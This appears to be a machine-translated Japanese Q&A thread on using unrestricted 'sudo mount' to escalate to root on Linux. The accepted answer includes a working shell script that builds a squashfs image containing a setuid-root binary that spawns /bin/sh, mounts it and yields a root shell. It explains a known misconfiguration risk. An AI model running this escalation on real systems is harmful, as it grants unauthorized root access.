所有権/権限が異なるファイルをマウントできますか?

所有権/権限が異なるファイルをマウントできますか?

特権の昇格のためにmountコマンドを使用しようとしましたが、外部デバイスにアクセスせずにrootが所有するsuidファイルを生成することができるかどうか疑問に思いました。つまり、次の方法を見つけようとします。

  1. suidビットを設定できるように、mount /bin/bashを他のファイルにバインドします(マウント解除後も何らかの方法で保持できます)。または suid ユーザーの /bin/bash コピーを root が所有するファイルにバインドマウントします。

  2. suidビットを設定できるように、squashfs、.iso、またはルートが通常所有するファイル(ubuntu .isoイメージのfilesystem.squashfsなど)を含む他の既存のファイルシステムをマウントします。

設定は次のとおりです。

  1. すべてのパラメータを使用してsudoマウントを許可する
  2. 他のデバイスからコンピュータにルートsuidファイルをインポートできません。

バインドマウント/etc/group、/etc/sudoersなどを介して簡単にルートを取得できることを知っていますが、利用可能な他の方法、特にアクセスせずにルートsuidファイルを生成する方法があるかどうかを知りたいです。外部マシン(または仮想マシン)。

ベストアンサー1

すべてのパラメーターを使用してsudo mountを実行できるように指定しました。この場合、あなたの質問を誤解しない限り、rootアクセス権を取得するのは非常に簡単です。 setuid-rootバイナリを含むディスクイメージを作成して使用しますsudo mount -o loop。結局、誰でもディスクイメージを作成できます。バイトだけで済みます。

これを実証するために、以下は非常に簡単なシェルスクリプトです。

#!/bin/sh

# Prepare the image
mkdir imgsrc
gcc -xc -o imgsrc/runsh - <<EOF
#include <unistd.h>
int
main(int argc, char **argv)
{
    execl("/bin/sh", "sh", NULL);
    return 1;
}
EOF

# Create the image
fakeroot sh -c 'chown -Rh 0:0 imgsrc; chmod u+s imgsrc/runsh; mksquashfs imgsrc img'
rm -rf imgsrc

# Mount the image
mkdir mountpoint
sudo mount -r img mountpoint 

一度実行すると、単に実行してルートシェルを取得できますmountpoint/runsh

fakeroot必要なツールがない場合はmksquashfs、簡単にインストールしてください。ソースコードは無料です。これを行うことができない場合は、事前に別の場所に画像を作成してそのシステムにコピーすることができます。最悪の場合は、画像をBase 64でエンコードしてコマンドラインに貼り付けることもできます。私のシステムでは、上記のスクリプトは2600バイトのみ圧縮された画像を生成します(それがまさにこの数字でなければならないというのは、本当に興味深い偶然の一致です!)、確かです少し小さくするには少し努力するだけです。以前(主に1980年代)は、人々がプログラミング雑誌からコピーできるよりも大きなデータの集まりを手動で入力することに慣れていました。

おすすめ記事